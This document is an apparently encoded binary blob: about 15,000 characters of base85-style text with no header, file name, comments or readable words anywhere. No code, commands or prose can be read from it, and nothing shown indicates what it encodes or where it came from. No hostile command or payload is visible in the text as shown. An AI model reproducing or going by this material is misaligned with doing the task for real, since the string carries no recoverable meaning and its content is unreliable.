zj5_jdQv{X>AKzc*93c=JkGjAxfb!e^KLOt-cxNA@!VN{}H5ENoSdgA$lxb`u0!A zgmwRd>u>nLe|+ilApX#=$C4(xsA*H1nEu}ANnemck?Gcws7ISb3Xd$y?^-KFTVTj zFMaIM`{vwy!$bGqJ?G{RKDg+f&piIoPdxSroq{kPDk(g1+=pG|6sgdk;Ga-2FwFI0 zPyO=8i|(I){{weF@#Oaq-Q&S9b0m5i*TfXY^vqG?8<|4cgt!r7zv|s{PyM>{>sFuF zzG)s3u#vB$+Jv$JWdijOa~!>-cC#{8gZ|SB7d>H4O-(W=+EMMr^c!C5k2-cdSikzF z=CwC_`yRly9}qs#)8MoZ5&cnXIG6UaNX!*D@N7vhJIM5Fs^N>>o33tMF|%{^tk}lO zMC~GM`ZmVN#;}(<)R+m;ITCVF)iEX4R!8FV*YxG+D-s5sQaN&L)I?>p0iqeZ-^He9 z-M#Rgf2xDu!hQdNt-r?JcQDh710IM9g~r+D7m#u=rJ*|ElSAa}=fLLbtm-anhdB?`tyv3(!em^gV9Y575&>IK3q7I~TJSC+Wo(6t(n0eVd^ib>CD-N%^x_9sAuy>n&G6gCn{Q>Dh z6&i=ZeZn=i?gYvX>|KSm-^a$EV&58+-PE_xKP}fuWcrdSi7Jg=O22!kLq{EMXrhQ0 zix$jTc-xIX`|@Yr_~lRj^p(&5=?kCS`0OtZz4rHIzj@;CKlu7L9$oOjZ8tnL@1`$4 z{?H$v`GsD>5r_8ged?z_`O+6Y`?o*;A)(j9-g)zNA|w!B@vndSJ?$Etb{tY7!6YA$ z&@R#ZmMwexH@|s`KnpF-5ebmg12F(suU_usA0M{)IO_O?ScvuYwN&xXVh%SPNK!?l zko>qBR1O~6_xnFQ_o+{PoQ!XT04W;B_rCvaVm4A6bGUD{^NV3u8Y9@iDI|fbty?!g z`Q%UTnm6~Rn?Cf(Pk!Q8zj|u_{=I#DJ^jyzla9yxr1ElK*(UsPE)4S{XAlxQV)-*a zwaQCg^720ehULE(st|Uflw9T|e;js$!9V^{q#bfiVLm}|*REYJyzs)?Z!f8@KSa95 z=$%-s*9R1?n=zGLyLNo(Kfn0puY76e&h3cmM9ynYM+v4WZDumwYt%hW0|u;K9!(E^ z{Dbd)@pGRh7@&p!PmVw%djHSd1;KRz@6&RZY<*dx^ahpxYN(Y^P4;;~1+^Np`BeS3+2fuw~g zx-tRFOos5PcWhXuRJEu&P&fvIc?w-0$>@W9-x+iU3m8g59YtNj<&DYj%xUqfP1ETSV*+_MAAIct7u8)aSZU_= zR{2PbBp3T?jF&*S9W(2@cYd;G^DV6_KhXH@Wo;|3Ol-dm8$XX-&miuiF`F5$t6`~! zu8v5TCncU_F?e0MLbFS;0~1RV`@Y_~@`FuFF24WHbdYM2QdzHV?kP(>5$W;HOx%zaf1D(y-{Og|OAMrNcp$>fy z6U+2-*&pagx%!beTZK+WB~va{H}2T*@lQW;*PS2v&(A*knFsHFR1N@3@uhU=+-7+qTVqdt)@C0T2?S$`MG+ zZ$K8XRjXF~`q#gF@WBUezWF2f+;jJjfBeIZn>G;h;^?SLLXhTla6odcVg4%VvFIqK z8UEW!Uh^9H$AK$HJVF%h!!Z? zmCuqX?6aSKq^@?maSZw0v%kD&-fj2JzvIyd7d`e6>FR|KExPZ1@}HhR|GowHyzs)` z*Kb(e+uPyWWz4$gu@I(VRh?ilFl_OgFOXN*o%3#a^wCAT_iR0$HH_-M3k#+UV9Eg> z0!25vdt}oed-r@PRr{!F{W{_%lx-;b&~y3?O6mxMlG0ekk1=Vw($X%-V+I1gxd_ZS;<5T7eo_Asq``!^FC{tbi;WWM9TkaN$n(-26;leI-b4$*1|hQS^lz_2nc`w!p@6axT?8`MY$6hbwtvLo&7o4Y%9Sm;HE^g?JVupwxdNU$UWju-&RlmH>X zs)oYZR`_(wMz9M(m4ZiIhk=7-frS8&0_*|R4N7uW!uVhh!h(Sf7H8B$n@ra#Y)fT4 z=t~sXY0D~rKru64Yk&b{fD5XD3UOeZDF8KL;-s+?CZ^Mwju@rK?+pfQ3Io_4>nkoP z>56CQl4?ecnm+UF>9b~8cA&kx`_I4oLt9HLxhh2?(KF9H^NeZJOkV%e^70EVxbV$4 z-k@NH%aV(b78HycHL9q%n6my)oqC2zjpaum zw6vHAg!DOmm<=x&2*NRhvQ!rp7EvXYPBF$z-ee`S|EOXIY|wJ3?jS{ZqD0I@v}o_> zpgzw(|GcZNx@zQzQJ^K`WTcdol-agzlbV^plS%Dm(sm&twdwBaqJUTRhZ{Dm-_X(7 z1psH9apnaVoKKmZ%LZaOlFsuyK}VS^$(9wctRsV8`9f`sKIWX$g&!~UnV;w6-$(M2 zm%QX9FS+@(IOmASwZJiiEM|ZC%U=#0I6&!)N&ix|G16Jo-lP%pHN~h=BdGypSgx(D zjmHz?$4{7b)>$muEi<}CNmWo#Xp{)$qLfMkFw3&xxFV%Ax)>3S+FHJ1#hTTtCrzG2 zQH#fn9}ilT5TxYJI_F$Us=0ORRthq_al=MZ!GnhkdHJQ62*O=-@kOIXjxu48Ng-zS zI4S_fEv`^0DYb6Jty{O$)*dV=Dw;WS*2ppA+;sZz;Rd=Q%7f~8V(7487hik{OJnhueh7286Qe0y3fL6Gen-AFEV`k?>1v74%u81%& zWiX>uY~#m|*HaYhSnYwSf%L=y0E_m`c@={GvI+ppDH~Wx(I~Jpz#{-dKt(+dc);fT zh{Vs>-<2sw7y|DBQ3tW@(6_~jA53PtT!~dRH7BFO-3IJ!o zm;_4#<_^&$oE_Lj0HwEnax#md&CCHL)E7tw62Q!dsDIr-wi09(0 zREB_61`q;eqAYsUIsj6kG#x77CqH|0K2oAG&PIk*CsSFgXxnr0z=LYvM_N{15Z^He z+kS-ZO2l?*C^gg5qf>4gZ7t|gHzl8za$<*Kwyr##_Xj;Yfoj4#8sU%L%-nXe-5RVXq7 zwOynKd*6!h`gCIBmAz|cbgi3}+I2IzsG-w*J3;OrevGAEM*+#V-@(kFsXndh16he8pprJw$;t zhyh4Rz>YRy`SvS+_rEMYOVHo-O=re)j5v_r_~uv1@^#Y=yy)YXW7!FWPl=j z7Zp|`ZeizpFbrqv6TC|JKue4@z=imAM@_K{r*Mw-Z6L1gAd*Jhd=(-kDHZo z5~gC3ZBn6nXJ_j-zxn0+7T)>T!wU}V-HMozUgD{r{pkLM^XJ}n^M8Kva|ib9LM6R) zdgI#lKl#Cr9$2`D2J^rJ^Y2|qX+>|kbKcD#|M-KydHQENc5e2(%+X$3RQ$YNCtN&= zkx0{|+vk4dvB&QJ#<#wNNU@iDj%^K-CJmatA@4a^#xqTY5XRA@7qJtuNBfO9N(j?9 z?Wv>?x(m-m$Lr6(l^e%f$mG6c)9>20JlwqU^7d8dB{pB_?wyCdKSyr`VyiK9Wt17B zq%-QGd@iEiq)@e^+K;g}@X!yF8y5C1yC%N${P@aC;#=-kjo(7|pNJa}>(T8&Prc`! zN#A2fIw&(JGTIKNjbwCcNk#g$MD)!3cAyxKucY=~k*NF-b}5BPg=wiAne9fOks4qZ z$~B0q5bN|&e*8tl2ulw*4W$GoQy5FA7@ay#N<8TzBqk)Llr&$ci*5socM<>Cz4gBR zD{tSw>G4GO^V&tv@jM;o5|u#1#5F~~8l)I-o$N%l2D`qO+&8ap<5eB2uf(4JMDbTd z0vKJ&#Z(eq-4+$fj2Q4il&E5eb;+K;ckX%6JN!6y{|!a0_PIm@|4bS`ZIV5N>Q(Ii zdThr>YTvo2Ztb1e`>bZN_QvDNO&j~Lr@4;Z3Nt=k z{=v2_x5OL2uAEKU6V8O;X~N9AiCy<6w_nz^c3S7^nYjN!OfSx2JkRt=;-GTToI{(& zrKBCz*53NUOV2;^>@WWOmuJ5Fy)WN<%e9LZ-TCB`-w`r_nB@&V{>e|=HUF-K_bvG7 zqYr=hhU%TYpS>WX4HQlTh_KltJI znwy)ux_Vsqy-a#f{!g8jssBUCPh0bnm%ONBh`+#eEXfP`ef{W1KcWEl_uhN&?YH0l z)1Uqnk1eE(dVBiFAVyXr&lO7j>+kdTV<)P;yLbHLhu@>UqAJ!kIuXE zmS6nz2TCLnoxlI(caJ^1h`5OJ=H6CcyB~$;2i~hcaOkNge}3=X^B(`?LyI1mJMZqB z=ihVdJqvDMaNnID|Mm3=sdW8@bwt2HEk5Qo;OeO2x=zC1O{e=z#q*LsdEz?@ z7u|W^{qt_Q^~OVWd(31_$jq@xi8;{$2k?vAU*rI|a)lpeO;Hj0sQx6!lK!e=(+fTI zrCs$N7^X7uz0I{h+qdDqx{V)69a@BmUu10wvW1S8I^l8BQyI~JUAhQm_9SYHLOtSo zRDTsspKsZCQ^WGhTb5qlx8ge7G9T-{hH53^0i7SY1C5i85(ZV}hB)z1rm`?d3hk`s zNiw4)Ttd`Jm|=QqATXuMg~18LgNS>xW{gxTD&09co{YPy&%?Nm1}SrV$vmlAX(V(O z6U#A!Wt6;=*8B@i5k zP^CnWb5I-^ZKMUtxBUwM3vqxk$9h2Sg4kxaXKOmyMnM}Ys>eqMod@Al0f(ViAi!dl zWpO|S9E>Qi;!-uo+m_Fj& zQ0c{1@!4Qa1Qh~>fDMpXj;VF&o~>>w5sg#@2b~R7*8`vEs3>C)#2m}ErF6{#WWX?! zN!m6S6l-SbyJXCOjd5eg`6RV=l@GQx~wk@0c2_%(5%VPf{)487b z8{@>!n@@L}m%QZDOe>|B7C1`s($LVbRLiho!-#@Gx(wb=9LHrk*Da?lCxPP&;`@{I zh=x~CP(T%_#qjE-5TxduRFZgl8#itwT7Ei}Hc;)1Gp1gD!wofqhos{107*CuBn)@& z-nnY^s;yhMWilD1WyFZ#lP8~Y;e{6rsu>IevT@VKH{X1dJQhZe9C6RxcMlsra>erH zOO`CzwQD!!3BKs!i^=Puu%r}nNQDh`6mhI>Z|%;m?heYXnMx9S#ih&V%!)*!U7cM8 zg+*nh<%5R|oqp!@88c=^B4HK%f}xabS%CtWet`)jJma?zAwS--&}xX5HMSX zD5xN4LI2wS-Q>SN43hvZ085Y%PZOjWq+HqUw5@jb z{5FK$=}6En8yT%SKU$UrMF@o+cnX2BfDOj2s}oXNRAyIa`v%wP3);oi)l;GJB7iY~ z<$^;7q+)3cL;yk@B4)f&Lc{{*r(X9CLu{3bz2RmKWSqDa3Yt~XQl54NI_LezwS{fUF`O9CD^K~!~qP5*Q zx87D-Ru1~SL}AJH$$&&j!2_zhr(?_3EqiwFX>4rj>hAVDJrM*(V2oxIbQQq(j2Sb| zJMaAI)2C$*Vf2BIo%*d=+_IoQ8kR@?c-=icTQ+ZAwtQJE-bWt}su^yw~ z&n3Zt84{`r`d9+=0P6*8h0Gy{@ArE5r&1jmCk0k0QaHG{VltFYf#5j68h{eXZ3T=0 z>Z!D(3WCy8@1Vhm;13oY4j!tE#RC8#grG7LN_`PF1B-hAalk%+KFD-Hx(h^4UE@}P zc6r(9Au!uQkP3XaH3k|8N(OP24)CC@F(D`n=v$`EGl*c*c^LplDrQVV zUpvdgu#+uH0qb}4({~&J&BLky1#-||hKLbBIAXlRh5ILK>0L)@t}sd8JmXyErZFE90br_at|DQ9@0BHu)_)2k@88! z<>v>Y7XcqG5e0B$0kgtkfkt9-4<=T0k>ReZy|lQda`<^reipz44@&hj&Hm~BB= z=_g1kh%lvp0-z-g{1C`Bkl2*0+vEuscu`Tssn+1jAT$MVILZLawr_yGWze^(r*~^w zxP?{YiU(f;;VZLHt^XG-z*b-f0sQ3{iP9qr8|{0UR99!mYcIXBdE+MOsS7W>_?m04 zE3B+COE!HyU0?mmm+93nq?k5s8u21*J7A)880qQieB+HbUVZgddbbid`QV2>xa94( zH*Maml+sZyf>WkUIsbz5M~xcoBOC&C^jCTXGhk$E0swkl8gSLo(M|@mjT<(k(rLnA zQiw5Q#ys%A0|dk1y@G%SLHWip+G}cTB=ki=Kw^D;@kFApw|C0asf51HoHlLP@Zn|v zQc8-GOXfJL&_x;S*VfibrZZY`Ja_i&!Gj0WLLhZWLn8h6+H0@==}&(mW7^ayQ_jm; zz)mxfLZp&_%(4Rhb86)H3y^sjmWN?^$x9xF<$ro7C?-yQK+8#w&vYypMm}k8z4aEE zyr@npm{dP0zM`T+00bq;>J-$p6gQLJym>S6R{s9CzmK0Vo{VFp)(NqY0gAL|xF7-y zTrWdt3IGl_)W7n|E1S1$c3oFWRZ&*15YIm6?9rn}Eq>#TeS7!TRM$NA$fKyTfgi~@ zrWDfB?q!!=He~n+6pGmvAPC0;#_eFXu9PGgh9J#MpfA=(F~Dd%6j-vaFGll+2${gb zVaBpJmQGqzU0qsIOenFkvT{&OO+{s8QDGqk^x&KaHDQM?gpem$`E1*wIRM@ENHpSj zZb78rv5$Uq$dDlxw@(O$G00u@Kk^1M1P~fWS)juHA$scv`S3qANX&eod({2mdr!rg z(#fwS<0Q7mCe+XY)d|=Ey?bQe-b}Jqc%3Lx3R!u@FbEEU=y)iZ41tjVRT3i7^bcl< z9vKK=Qh}269|R=W{$K6v)?*+QV73KX3bW(njM)}gAVI|dVt`%XwLttZ#u`$w)}#}U zg9=6mS5;0A*USJm6tD<^(Q(SRh5`32X$mkYJzGyVE#CqOQf7;g+1)S$W-K2Jgyzao zTb_quCsj~mdIri;3Nio=RXJD;0svtE%YRxyg2jyyRd0AoKgtn0lAA_cH=-Ka;OX4} zZMy(ALFc;mwjGpjJ{&15ub3PzJ10v}bjl%AD4Fsg!$ENB9zq=Bkk|=*%hT~Cy-pVf zLIuT>3X86@qO-uRkr-55fiY<#Fe=aiY%}z2>}}Z^i*<&=rDcOp4_3?uYl4I-fCxv$ z^!f%cCLk*|ose08T)CisO$p$K0cxS?U8nD0Jk|+zw50m9K+Q}-Vmi!DDbOKU3(h8| z^Ucn#{lHm4;poz#H$rF{;9z~Dgc6bmLID1oK@I%i`|XBZP0fp6ef`Zh-YPAtxc0j1 zFS+7M77Pi`wFCD0wX2_b`WeF!KlQXzAAa;P(Bh<129g~y|BBMxhkx{YVRDqehRKIAJ2i zM>6oqKsC?v=qRcaO)*DpbkKU+=1rS=dV39iJ9GN(4aw;RaJCGbD(8gR9C2^ zkVdPK)E=x|xnc#qf9cpoix!d9uCSmG2BfK}anV#DdJ0=XF%WE(~f7KdzO$)Wkn?!(1wo~ ze%-a#oqGDI88;o)fUUEugYXY&%pE(o|Mjnbjgy%v-ba^H5G|;#u5M{|M905C7(1cD(ribBY21)$?0GiJ2BkS=NG-Me=Y9^1ZS zJ0*rDO>MjoEzTLTfMpZ(qP0}>>D?i=2ANSpf?yx#E@k_tf?9FnNNQv7z{CB z$0a42*_1CFFxM!S3%88bivikzeg}R7%-uiYP(Tm@6lz)?SC%EXF^d^b98Sdr)~%qC zsaBTgfxf0h@1aIlxIha8hYVvWVDT*cbDA+$pX#g2B$~WTH_Ei9tcqc06qKF@ z#iwcvRt3BOICG`LZLWKYrTMIdWqOA{0C38GT$ZQ)rENDa62FAeEEAs}j zom|PoFrlAS3ng<98~|xx7=y53DZ&7(FwLIJ#C6t5|~0x1;Jv>AYCaLx9j)p{o^10v~Pdy z;9(}=PS7$B!}2gJFL}w!N%-CQ`8@JM zkVa}Dt#=|sP2nlVI51!aF|dCThLJVwx#ylEh6rIK9r>e+#$a1qc<#j)U3mHBmk%B~ z%!I1vwrx0yq+XXVTl)Iq#l1bfLJGoHlTMj<-Hq23krWn#76n*U zxp0a~ipge07N@y$=hhvpTe)Ioef?oFzFm3cRZ~u%8a7L!5=od=w0;zK=}9ZZ^gc+X z2xS>SAeH7WaclFIP3zXLrTjFc?yIY-D0oT03W5Tu#XOTt3;C;)D}=E+(ycBmC?JT~ z($-3*Fj@_sdDg63Zn_n;(52Z{@EF!G1t4I+`ycTAmS}yT#S9wro8)%nSKiN%rVHxU z$c$Bu_CgG7P@s1kWqM~kzR628imtwZQphADf4yjNVcBpfp9I0t;0*y*qiqr3Y73Xr z)-4OTmF}t8yTll2Q>^cw=oSW1L%R90jVHZ47?0jNC9}< zLzdP9W;{Edhz%T2Lj`8%tzjow{KW<2AO}plrpmN6NA^Q!u#DXdCD>_gwJneXISWvC zfyTB(1${dkAOZsNU>x8u#5TvbdQ!CdVpeuNU^VprvU&j-$TEF;1$H;^25`1?HNVr>U0)n3s3@Jlie`g- z3WUc33j+tKgvAh;B^B3i(X<3lsvv_fL$DCI)dOlLbT3J?lVPnZ7%DEWnaV5A0(%

`2)tyXpccJ_lfwf+8jW1@IsMQ^=G=p@Wtv4vLuHHayRxWwe6_57Md|S->dz zMM-Jtv}tFYe%k582&eaWE(OuB1ar-3gq;W+ZrQrExv8nVqJp#(!M1bHIp_E3$l>o2S|fWG^+2x1M1I(|bt|2hklXBY&n2RQfqCXN?T7K`?&+pJ=^gE-GP5n) zvI0^v_J2e~WO*2thhcfiOTXk{mBIZcz*Hgi%IDh z6c%LM)Qum!@yaW&w7Bhh4geT}B1uxMI>OBWTn*5%d(^rnM^7Wv`C(N?wRe|w$XBV zQ9~kkDm!iqLdmsWGJOXBR{t>W5$-1l_t~azx?elRW&s;XUrTv zY$Ry$gcq_@L^8>|Ek$T_8Y~iT)(R6fFIa*k*v5nKdhag42KN+(@ zSP*00Vb!U zzyP%okh&NB4H-8OUmK%1Ah%51JJkfven{-YM4iZVQD|%GhgrouR1+*59Vs3S#Up?f zg9w2t0968tnfnA5NajdzIM|kn!GQ=et=wKNsn6|@XmC{^SUMKUrT`lvpu|z!Hlg?c zI9NU=H0(?`0m;KKJPPgSK8LxYa($Uh;1=@`gFz2KMKKLQEKLnXPq2uqKMn&(;5`6I z{llQ$K?Y z=}ZKg z=vx8C0+b3VZ7T(E5ZYdkHLXyholHNhXjHUf1~0t;U=+wwK<>KfU^Il%=JCa+6dH77>`@16YhQo;wZn(&J32aP$&4s}Q>RQl zeae)fdZi5zJkPakTPYt7Ar+!C?B9Q2^X5%EckCn@VR3PBd3pKl*|RCN;_%@kEN=Oy z@K0(GAZplc;&4!H?V2^@(njMSK79BUS6*?>Ip-2KGc7^4f&o#8oH4BkJwyxy{J~hp zR*rZCj{q1uCg?)I|NoI0J5jDb<}_tTR17LTe%E;93Dk*=$m}9B=QvSeRQ{DW3WI-X z#({o?F@B70|2Ios@`C=>cV0P8O9t$HUml2xz26&U$IjgpfwrZ&CEnLZD|aJC3>!aw z+@QgOc_46%pC6utH|4*Z_=@a=1mQ%59WO+O0mlB>i3_uM@#`Dbt)(SY*K?`C%o#H% zp;`6d!6+p&!&3_MA@v6j5xaHP4)D=p_xCKU=d&078;O}`er_-r$IK((tQUXIhU=T~C;kcsYLDIC4chWyD+L8bwchrC3s z6K`_TJ;Du>jSeO2E@_PnnDHO@>O}8NopddH_jq+QDf7?{KDd zWnW)M8jH(@&L|mnF$Bg-DD_EjmJdzweIaZP4o3F=zZ1s(7s4<^P=0(lW{k}s!4LM1 zITKm%08kMu;S!(=+#ay0K?GC74Oi=ga0V5b1+5G^S5 z{}NOhR3ES|V2-jv0?HVSRshWW$e6xRH1<0IC?w1JOaXL&+@~7e>TBHrUZSjG6x2}v zX8{`ttWbahz-$QVCnv387-tYdu+doWWGs{gTCLEty6fN@m^xTkP#hk1D^y$z)*yfq zg%)QSfLiEXlWJa^Nz^eW0>L7*CKOd)0%ey1RB6i^=751Co=}!arPi!l_tx7>i0MZJ z>KSKFyZ-uX2M-zwTGp;x{m*~?lUN5P&Y|J-Q?z>W8N1;83nop{Hwu_SgsE_WusL3oz4LV^3QW_j_mAeU%zS1<}Dj3 zFe7zR5T!^Wm9u7^MInrei%N2t*C(>F`0A^#y!zT}LyPx=AzkG&@4|LFbb z{{g`Fg(2uSMpRVv-CzR2;(;TYnyrvRN=4KYV|fKcu9tQ^=}9HSfqrwM=XqI|VmqMK zq-BmL?uucYR@6%Bbb6x-l z))BLPg;XRkX)&e*GGv-HfK<|%l*M>36x4&2dhpoM-m-P;mL1!-x3zU9Gorn%t2kO* zTu|tdJtdu(JbC=x3+^qht^s`_K^=3jjL*IlKL7hF(~X zSUg6Hwx>^_j5RZ;X98nn8MEzxSr28vR;^x1Hn(@*dAGW{CY4GP5oYQcQ_q`y-njAO z4dzM2<20T?u%8WRT)8-~>|fcD48Ckyoq+w5pZtWzSyEh5GpOccAN!c*H0pV~`6)5h z*4py-zdyfb^=iwu>5^}_;RbSqfB{ibWm|E60;`ShjqHs!$N(rmQ4kf0%u}EQP?y;e zbJG$)Km@^NM)Tz^dYEDW7ZuKcXNMy^X)&9#fyOKYyaiYjB(`GmKwo!VysuYzydYFw zRx+GN$FSiSDk%3{i=j=^IbdcQ5C9AU0&3-~Cno))RRK>Ef@w&4xC*(IqZW+;EPHWM zfn!4*OT7cV+q&8hyO~7L0*d90ti+Y&6%#K8HU#X!U{wMXfF?{DUqW-K2tt7XP{!p4 z6awvH0$2y6c0upOFE&HJ zv?QPfRseb+v)O5S#qC}$Jq(pz85wdVl#U0e^f15}*pLKoyKH+o-L+n3+O@OXkdm59 zpz6l#HPiDv6F#2m^xmXEw5wLFuB|-)OpX{njDmL13zQm2At)Qz&wlo^vhs3b z5m0-w;Gccg*%S_u@_PWaR)`8r(k(OlKjJJ+&5i5UtzWlxEk%;GEM6E5Uv}xGv(KAd zT{9RMLqTT{flwrqOleX$^D-H-#Q|eGwrqW8+1p#TZOk~SqT=Eyr%#zaVj;heAC06w0GH0*IiC8t@x8L0JtNvE1x>8R4I!RvDGjgE|t( zNYK4$F)rzh^}keI&(oZZ;1Q5PDrDv*3}^~_FLGeOq(sZ&I?Gu?cqFbu)WL?N(Ber^ zSy5G7RGNFBAGXH7TmL`y{sP>QBg+;>*WMA4AUs^mhH{yy!Oe_!rsvKNmmV|o`#*ln z%w;8MKaxtG%2gL~yv0s)_QmMfHZBO6nnQ<-0mrhCN=%}PrW~|t2 zuQfesnf#f_mPRzp-^w9x-kI{)`GD214`Mhgx00)ynbplS>^4knTIVtO*WQ`M-ND~R zU0=DKP_nWs}p|k+jK{JRZYg-?*x=wg^+(D8g!;t8= z{`imosOT)HR4PRDPyWe2Dbl?PqBUKMoA`wk#j7G~R78H|SB5t3T2JWQ#9k#$(MO7I`u*a1{fSS0@_`5Lzw55Mh6Y#2@-#4Ek`6XEH;XApQ9}!Yuza@J znVI{J9C`fl$BUSmIEu>*&%gvz%2g64L_8^LxZyO0wO+rv`v3d?{eO$)+Co41-~4a> zHxC>-1frtiTCLYusj~U4Fajy$FoVIMn7w@IOJ9EIp$Ee-oDLEF;1GBVX!yyuV$3?o zd58>m89CelNT8IU>Jbu{p&)dNnMWyw8d)ofh$ez~762L0g{)xhm8^YqYyC~;p3-E3 zdQ{!7>-V5>7{NZl_7t`8Hz5Zy@}4az8^LJ6fwF4@3cd;=sN53>hHm79VnL&SiwC!W z^(4E1s-=0J?NdW*$RBef@({5sc?TBAEx;5&{aP!Us2{jN;DJGhXVX&^q3%QJ^Z7=2K{V2DOiY79qZ8a}JDAMnSy5 zdLjh{QRo4iz^c9SLTB?>yM0n=Sy(z0Ej)(cG0-lkN($`-Oi*xC&a1s>u0Uuk{{`DXWW&iw_3+LgSEK6xNXnp(D*d`gQH)e(GUV)y(AuvC@ih{4f?<( zw4NJW`OCG{4O9E{;-1f{g}Z^7R01X#LjJlz`;6 zO1W~ubrOPHtX3B0htECtvyIL5;yhI(;m^&?{p{z@6lbojtyWR-FND;^lGWpnKT)Uw zOTqWpL5QXcUj!;w)SP!k%Wv`PMK4wuMf>*dEl!bN{QMX0KXP9XRRF*{sBsYt$diPa zbPyJv_&@l;4+;yAtE*Ra7!)4#AOG0L4jeczKfhp%0jLxW{xwA`UOW?d$)}!*yuexS zy_6A_TI-TVdGDBMXtrVZmz`;7&k?Aq&<)i0|OwpS(e!( z%?mO8h4Ys$UcB7xwoacpW^I~VSF$|s;HipZH{9$G>Oy?l1~5MB2|n6W(mV zTeisa6rmAJKqLfv6AgRMI;4DH8utDnw`+aA+3lBZ`TOr#5W7Qg^LLdV`lt| zhhTzfCI)B03Iu>A4_jxmK!*@=S*ElCGk|WpwY;+Yd%yd;8yg#i*AWr)(7A4q4AQ)3 zsk3v(_Nr+vU$|NeYI8HQ%gdLOJpZ5mFaK9dJ9dYax&YQf1c9E^3;uBt&GQ=->Od|DB@ZTCB8w>QkRCimRoSh|BZjTE|*# zb93vv-~G!X9=hFbKl$X7h2u!^VkVv_TI&x-!=|nzlNLQ5O#q~<)>t5c@1eU1#i&+6 z+9M#ugy=R=wobT2YV0z%0X9Q-$L)DR{O=I zyX?D}K~+cl!us8D<37wBf^I@0hyg-K3}P^HLN>0N1W*P{4)6|s9rg_9G}fOhc->a7 zD37Ne)ganluN@4-z17-5&^&@!m>D1fG>G6ml!icVoG>X1(-_5iiA=tHlR4_G=?e-l41o%2)vA%1L1$}iYdKjx zzJFn#(zApZh|4a$DSaqB07NhgrncL!5)}g{t0BpRLW{a;Lj>vbFkp;Cno4P$%(C;-;dIMudjhd+iDEqXtd#fC8p{GZo+= z4j@njwHq9(U0e;r-s;Z=cD23rawBNK?1Ene0UnM<)nkHE#0>A@Msdps7)>u= z;7H-;K0h~i@xp~a`oljgtT?*;Zok(rI=CKt^s%BzccwWjkZ!M|jgErKO?HB#EmLc& z^*g`)+dur_54ADHN?4K2^~fWSeEee{4}usVmuCQ!(UV!f%~BJGKF@#jgYQ1`%rnIT zs`tKHt9NUh_34`{V3Fh2~+og8AR8uXGa3X$)C2lwN@JgNZB!LhnF7_&rnJ4 znlL?#%pmEnt*;c6*!fHw{o3oVUcPeW!o^Gd{vZfKtwRyywy(p)OX{64X{{n+&58{$ z7_@)#;~%{C@=J&AI`oN;eY}XyRAI;vC}32e1M}1h+{DWX6HKpa-So)KOzy+eun&iu zIhafp+sppP_x(o+kiU&hC3kQKWwdcwMaSPXXnId;Kt|r#M9>;uAXdbC(ngsO5Qtnl zfA;C0JpKIhKd;rRy}{NXYdLQNZz|R5e6wo8_+R;_|7`pArS{eIFaP+5XOCap+*;3_ zEqs!+QKV?{H;Ja!rhcKggOWr6D8j)C%Z;K_x=48`C{y8|QRHhCL~C+^D|Vc7d7cMB zQ2a2)C^;B2PY%(^gf&UiAPA1!cYiUiUcFl6EI<3~vqeMs@BYs3z5LQEU;NS+pM3IT zg(rTVXJHUlD@968TrBt&4P%8su`urH4+fVnU;YpOqyMNdF)qxviZx$jOhNo6f0szv zG-G2R;%pwoF}#20t+#&q)1N4%if8`f7r$V$Ob0=pBqoYt#aWgWjpc#v>$Tp-#a7}~W&g}lJ)D~XLO9M+$dKt64Gz)@(L zGmBxPNJO|_RUZU)z%_tqYMIxSKK`W(X^)gAa8YF|a zljjkF=ZRzGFB$rm6a?mpw8%7(6@mjm!~&k0N*jm)cALgSre3dA=927OhI*R#N(~G@ zHe(Q=^i70-b6Ab4;=PT9PgkOf4BqOcmy_Ox@~_97fmYGDkJUbfss{iIO5hEI6;Te8 zlVU^xs$8epz5S}@_S%W9%cti03JaSw_h7*LfF@7{!jZEs3w+7x#u8O1&{TN@W1dDD z6oYoc1kn=BajUgx@%E_$ITW>XM00Qk%W7&!{%#nCO6hUe>|mIwHL{gY(qwu0%0K_-zfl+>DXlA&O5uX| zt#5s+R;}f^1qcFVf)N>VLqbBx()5Qv{Qj%2zS8cr3J1kBOCEdd@vndVTRV2{52MQX zs$goh@ZB5A-)liM2qwQ+@f9#3-9ykKd z0U3+K1)y6-xuGd1C^ywk%#-mhjac-7XHFlo34g-D%7L4i*iG`v_kKdb9o)ek+^{4u zwVvVKXw^m$SOEft4mE?=cJ0w)g_Pp8OP4S7lJ-_-eXG6N8c0+z3p<0xY|*Q;c<8PJ zhweGJeSUVOeI~9aNiVN86$jGqr#p7;`sTO4y|B1sqG(i@XDA+jztt~(f#ePiv(|=T z$jn7Tap6$^;DZnT>;L+{UZfazyWK)7Sdg(vgupaK0dSLqZ&IiA-j}};g|QdsMVPqg z`})G?zj)W7yRTfiT;w=kymaYze&=^jojhH5BR~4sV`ariu}acp$Bv!<>_7FN`t0XE z`{Sp7T#&IeO$%fDe}3*<5hwlSuY9G55-r=qwALecEG8LhVU-c@-P2G1NGWEfBDu6k zFw3veFeBo{J67tomtQHwHJwhUkUJK+rX>fn)_U*N5Wk4JhhkDJ6B+{G3fw#Bzln5Z zbA4lT%Qoxx%r_gT?;xrPtRVOBAOe|^nDOwIQo)#gbwMjwf6ix@`dh2Lt#z9wQP`Yc z+K-t-sNFR*d)p448BOdN1ct8w6%vFRK%cMyT*TlUTBp#t*lk_zB)JV1Rp|3DQ*0SA z1X`D`01yk?gv1f*4N!6=`{ zGoU?b4*=i+_%iy(Z0C(Z_pP+QoDKRuN29SV2=+v^!)V-t+CHdRAOb?LfdJ$1UxD_d z1b_ztia?YDo#E)iU%+5g4`T7elJXf5o&z?QQOrQMZC%*a3ZyY>yNQ6yT2Vir@>Uz~_NN?1Q#Hj?m zAIk^trF^Q1`T~%Npu#!py&H)Vl^F%ydtqWChM$rh5~h{M0w>~$;Jj_OTkC79TU(ny z{n69CZlO_cC&>UHrId(xFKL=7)-;4MMr&iOO_ENUZdI$1(NUV&EEkYg+K}Sjpj&Ok zVMTdLS-aVV`qH+!#%#E}a?<(4J1?FTX%gi!h~?AoTnKf&9?!uAYpWfb;mF|!pZxg8 zpZMg*gGv+z;bdXRLkKipX`&nFVxHh=!q%otHE!1a$%oejeW>D@+&Ctn8-~2sGrW66 z?hfwYjwlgyi}TIo;iTWYaG|JSoPYkg7sbgS>$N)@N#14cbtJ6wm9+~8@7{Iyk^Kux zP12>jAh9md%164^Th}LETVB18wAZu!`wsmV|I7cC-FF=V5x~}giJ1TyazFhy@ddqu zLbg|2vl@+N*&a3#?B#i0tJQApE(?NynWyIxv z9t&p&2Pj{D!1hjNEft>%@=&9u+Bf8+WsI5z}vPheJa}hnV~(K@gyF( 